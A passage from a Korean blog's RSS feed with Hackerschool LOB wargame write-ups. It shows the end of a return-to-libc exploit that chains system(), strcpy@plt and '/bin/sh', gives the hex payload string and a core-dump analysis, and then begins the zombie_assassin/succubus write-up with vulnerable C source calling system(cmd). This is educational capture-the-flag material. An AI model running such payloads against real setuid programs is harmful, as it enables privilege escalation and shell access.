system()의 주소를 얻는 방법으로 구할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 557px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99EA71465BBECFB03C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99EA71465BBECFB03C&quot; width=&quot;557&quot; height=&quot;537&quot; filename=&quot;이미지 011.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;strcpy()의 주소는 0x08048410&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;buffer의 주소는 아래와 같이 gdb를 통해 구할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 997px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9926C24B5BBF404B1F&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9926C24B5BBF404B1F&quot; width=&quot;997&quot; height=&quot;266&quot; filename=&quot;이미지 014.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;buffer의 주소가 0xbffffa90인 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 공격할 주소는 0xbffffa90 + 48(0x30)인 0xbffffac0이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;payload를 작성하면 아래와 같이 짤 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;[system() 주소] + [dummy] +[/bin/sh&lt;/span&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;] + &quot;[dummy] + [strcpy의 plt&lt;/span&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;] + [dummy] + [strcpy의 ret의 주소&lt;/span&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;] + [buffer의 시작 주소&lt;/span&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;]&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;&quot;\xe0\x8a\x05\x40&quot;+&quot;AAAA&quot; + &quot;\xf9\xbf\x0f\x40&quot;+ &quot;A&quot;*32 +&quot;\x10\x84\x04\x08&quot;&amp;nbsp; +&quot;AAAA&quot;+&quot;\x80\xfa\xff\xbf&quot;+&quot;\x50\xfa\xff\xbf&quot;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;공격을 하면 segmentation fault가 발생하며 &lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;core dump가 생길 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;core dump를 분석해보면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 686px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99FBA8345BBF661139&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99FBA8345BBF661139&quot; width=&quot;686&quot; height=&quot;294&quot; filename=&quot;이미지 019.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 strcpy로 덮어야할 주소는 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;0xbffffa80&lt;/span&gt;이다. 따라서 payload를 고쳐서 다시 공격을 진행하면 아래와 같을 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;버퍼와 strcpy의 RET의 주소는 48(0x30) byte만큼 떨어져 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99D7024C5BBF648A27&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99D7024C5BBF648A27&quot; width=&quot;1000&quot; height=&quot;89&quot; filename=&quot;이미지 018.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;성공!!!&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/LOB</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/218</guid>
      <comments>https://marcokhan.tistory.com/218#entry218comment</comments>
      <pubDate>Fri, 12 Oct 2018 00:07:31 +0900</pubDate>
    </item>
    <item>
      <title>해커스쿨 LOB zombie_assassin 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/217</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 18pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 24pt;&quot;&gt;zombie_assassin --- no place to hide&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;문제 풀기 전에 아래의 명령어를 반드시 쳐야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;$export SHELL=/bin/bash2&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;$/bin/bash2&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 zombie_assassin의 디렉터리를 확인한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 806px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990FA43C5BA318F60E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990FA43C5BA318F60E&quot; width=&quot;806&quot; height=&quot;81&quot; filename=&quot;이미지 040.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;succubus&lt;/span&gt;라는 의심스러운 파일이 존재한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;succubus는 succubus의 권한을 가지고 있고, setuid가 걸려있는 파일&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;succubus.c를 가지고 succubus elf 파일을 만들었을 가능성이 있기 때문에, succubus 파일을 본 뒤 어떤 취약점을 가지고 있는지 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 701px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9983B23C5BA319C12C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9983B23C5BA319C12C&quot; width=&quot;701&quot; height=&quot;1783&quot; filename=&quot;이미지 001.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;전역 변수를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;check&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 check != 4이면, 종료한다. check == 4 이면 parameter를 이용해 system() 함수를 호출한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;M0(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;cmd)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(check&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;welcome&amp;nbsp;to&amp;nbsp;the&amp;nbsp;M0!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//olleh!&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;system(cmd);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 check!=3이면 종료하고, check==3이면 &quot;welcome to the YUT&quot;을 출력하고 check=4를 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;YUT(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(check&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 